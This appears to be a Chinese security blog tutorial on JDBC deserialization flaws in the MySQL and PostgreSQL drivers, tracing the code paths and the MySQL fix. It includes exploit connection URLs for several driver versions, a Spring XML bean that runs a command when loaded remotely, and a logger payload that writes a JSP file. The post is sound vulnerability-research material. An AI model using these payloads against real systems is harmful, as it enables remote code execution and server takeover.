JDBC反序列化漏洞

mapl3miss Lv2

当可以控制一个网站jdbc连接数据时,如果web应用存在反序列化链,并且jdbc依赖处于危险版本就可以打jdbc反序列化来RCE或读文件

Mysql

版本小于8.0.20存在漏洞

环境
mysql jdbc依赖版本8.0.19
恶意链CC3.2.1

ServerStatusDiffInterceptor链(最常用)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
import org.springframework.boot.autoconfigure.SpringBootApplication;  
import java.sql.*;

@SpringBootApplication
public class JdbcDesApplication {

public static void main(String[] args) {

String url =
"jdbc:mysql://127.0.0.1:3306/test?"+
"autoDeserialize=true&"+
"queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor&"+
"user=deser_CC31_calc";
try {
DriverManager.getConnection(url);
} catch (SQLException e) {
throw new RuntimeException(e);
}

}
}

DriverManager.getConnection(url)触发,首先DriverManager要找到一个acceptsURL(url) == true的Driver,相当于判断jdbc连接使用的什么协议,选择对应数据库的Driver,这里进入了MYSQL的驱动

再由NonRegisteringDriver.connect()将jdbc连接中的参数转化为属性Properties,构建 PropertySet,与mysql数据库建立底层网络连接并返回一个绑定了PropertySet的com.mysql.cj.jdbc.ConnectionImpl对象

ConnectionImpl初始化的时候会反射实例化ServerStatusDiffInterceptor并赋值给NoSubInterceptorWrapper.underlyingInterceptor

可以看到underlyingInterceptor属性为一个ServerStatusDiffInterceptor实例

调用到NativeProtocol.sendQueryPacket()方法时会判断queryInterceptors是否为空,若不为空则调用invokeQueryInterceptorsPre()函数

invokeQueryInterceptorsPre()函数调用每一个拦截器的preProcess方法,这里调用到了ServerStatusDiffInterceptor.preProcess()

ServerStatusDiffInterceptor.preProcess中并没有对sql参数(也就是SET autocommit=1)进行操作,因为ServerStatusDiffInterceptor拦截器的作用是记录和比较 session 状态,而不是运行 SQL

populateMapWithSessionStatusValues与数据库连接并执行”SHOW SESSION STATUS”SQL语句,
将返回的两个表数据存储到rs中,之后执行ResultSetUtil.resultSetToMap(toPopulate, rs)

*注:正常SHOW SESSION STATUS会返回两个表 Variable_name | Value,我们伪造一个数据库,在查询SHOW SESSION STATUS返回恶意数据,从而进行攻击

resultSetToMap()调用到了危险函数ResultSet.getObject(),getObject()读取列的值,根据 MySQL 列类型自动映射成对应的 Java 对象

getObject()会判断数据是否为空,如果为空直接返回null,不为空则继续

之后通过switch语句根据列类型执行不同的逻辑


其中BIT类型和BLOB类型可以触发readObject(),并且条件相同:

1
2
3
4
5
6
7
if (field.isBinary() || field.isBlob())//判断字段类型是否是二进制或Blob

if (this.connection.getPropertySet().getBooleanProperty(PropertyKey.autoDeserialize).getValue())//判断连接属性 autoDeserialize是否=true

if ((data != null) && (data.length >= 2))

if ((data[0] == -84) && (data[1] == -19))//判断前两个字节是否是0xAC ED(-84, -19 对应 Java 序列化魔数)

修复

在8.0.20版本中在ServerStatusDiffInterceptor的populateMapWithSessionStatusValues()方法没有调用ResultSetUtil.resultSetToMap()->ResultSet.getObject()去反序列化特定类型的数据,而是直接使用getString()将返回数据直接转换成字符串

8.0.19

ServerStatusDiffInterceptor.populateMapWithSessionStatusValues()

ResultSet.getObject()


8.0.20

ServerStatusDiffInterceptor.populateMapWithSessionStatusValues()

ResultSetImpl.getString()

detectCustomCollatons链

detectCustomCollatons作用是在连接初始化或者查询时检测是否存在自定义字符集排序规则(collation),执行的SQL语句是SHOW COLLATION;,触发逻辑和ServerStatusDiffInterceptor类似,也是会对返回的某些类型字段进行反序列化处理,从而造成漏洞

Payload

ServerStatusDiffInterceptor触发点

8.x

1
jdbc:mysql://xxx.xxx.xxx.xxx:3306/test?autoDeserialize=true&queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor

6.x

属性名不同,queryInterceptors更改为statementInterceptors

1
jdbc:mysql://xxx.xxx.xxx.xxx:3306/test?autoDeserialize=true&statementInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor

>=5.1.11

jar包中没有cj

1
jdbc:mysql://xxx.xxx.xxx.xxx:3306/test?autoDeserialize=true&statementInterceptors=com.mysql.jdbc.interceptors.ServerStatusDiffInterceptor

5.x <= 5.1.10

同5.1.11的payload,但需要连接后执行查询。

detectCustomCollations触发点

5.1.29 - 5.1.40

1
jdbc:mysql://xxx.xxx.xxx.xxx:3306/test?detectCustomCollations=true&autoDeserialize=true

5.1.28 - 5.1.19

1
jdbc:mysql://xxx.xxx.xxx.xxx:3306/test?autoDeserialize=true

PostgreSQL

反序列化(CVE-2022-21724)

影响版本:
9.4.1208 ~ 42.2.25
42.3.0 ~ 42.3.2

当连接pgsql jdbc的url可控时可以通过socketFactory参数指定任意工厂类并实例化(不指定的话就会实例默认工厂类),同时可以通过socketFactoryArg参数传入该工厂类构造函数的参数,也就是说我们可以执行一个任意工厂类的构造函数并且参数也可控

ClassPathXmlApplicationContext

CLassPathXmlApplicationContext是Spring框架中的一个重要类,用于加载应用程序的上下文配置。它从类路径中读取XML配置文件,并根据该配置文件创建和管理Spring的bean。它的构造函数接收一个String类型的路径参数,支持http://file://ftp://classpath:等多种协议。

当代码中这样写

1
2
ClassPathXmlApplicationContext context1 =  
new ClassPathXmlApplicationContext("Bean.xml");

Bean.xml(也可以是远端文件,如 http://127.0.0.1:80/poc.xml)

1
2
3
4
5
6
7
8
9
10
11
12
13
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>  
<beans xmlns="http://www.springframework.org/schema/beans"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="
http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">
<bean id="rce" class="java.lang.ProcessBuilder" init-method="start">
<constructor-arg>
<list>
<value>calc</value>
</list>
</constructor-arg>
</bean>
</beans>

会触发calc

这是因为在解析这个xml过程中,会先解析这个Bean,之后调用其构造方法

1
2
3
4
5
   <constructor-arg>  
<list>
<value>calc</value>
</list>
</constructor-arg>

上面的xml相当于

1
2
List<String> args = Arrays.asList("cmd", "/c", "calc");
new ProcessBuilder(args);//反射调用

因为声明了init-method="start", Spring 的规则是:Bean 构造完成后,自动调用 init-method,于是 Spring 继续反射调用:
processBuilder.start();
这个函数具有命令执行的功能,从而触发calc

而在上面提到pgsql jdbc可通过url参数来指定工厂类和该类构造函数的参数,那么就可以利用ClassPathXmlApplicationContext并控制其构造函数的参数来达到命令执行的效果

1
jdbc:postgresql:///?socketFactory=org.springframework.context.support.ClassPathXmlApplicationContext&socketFactoryArg=http://127.0.0.1:80/poc.xml

复现

postgresql.Driver.connect()方法下断点

parseURL函数会对传入的url进行解析给一个urlProps对象,并返回这个对象

之后在makeConnection()函数携带url和props new一个PgConnection对象建立连接


PgConnection构造函数中调用了org.postgresql.core.ConnectionFactory.openConnection()

再调用到org.postgresql.core.v3.ConnectionFactoryImpl.openConnectionImpl()

到这一步去构建工厂类

如果socketFactory为空就返回默认工厂类,否则就调用ObjectFactory.instantiate()去构建

先反射获取我们指定的类,之后优先找 Properties 构造器,没有的话再找String构造器,最后用无参构造器兜底
在这我们调用的是ClassPathXmlApplicationContext的String构造器

到这里就携带args参数去newInstance一个ClassPathXmlApplicationContext

FileSystemXmlApplicationContext是ClassPathXmlApplicationContext的“兄弟”,一个读本地,一个读远程。
全路径org.springframework.context.support.FileSystemXmlApplicationContext

FileSystemXmlApplicationContext可以用来打不出网,但需要上传文件,可以结合spring web下面的文件上传缓存机制来打,具体在 JDBC-Mysql反序列化不出网利用 中有提到,除了这种方法,pgsql jdbc还有任意文件写漏洞

任意文件写入

影响版本:
42.3.0 ~ 42.3.3
42.1.x

payload:

1
jdbc:postgresql:///?loggerLevel=DEBUG&loggerFile=hack.jsp&<%test;%>

用setupLoggerFromProperties函数完成以上日志操作初始化


调用java.util.logging.Logger.log()写入日志


  • Title: JDBC反序列化漏洞
  • Author: mapl3miss
  • Created at : 2025-09-19 12:22:05
  • Updated at : 2026-01-02 23:19:58
  • Link: https://redefine.ohevan.com/2025/09/19/JDBC反序列化漏洞/
  • License: This work is licensed under CC BY-NC-SA 4.0.
Comments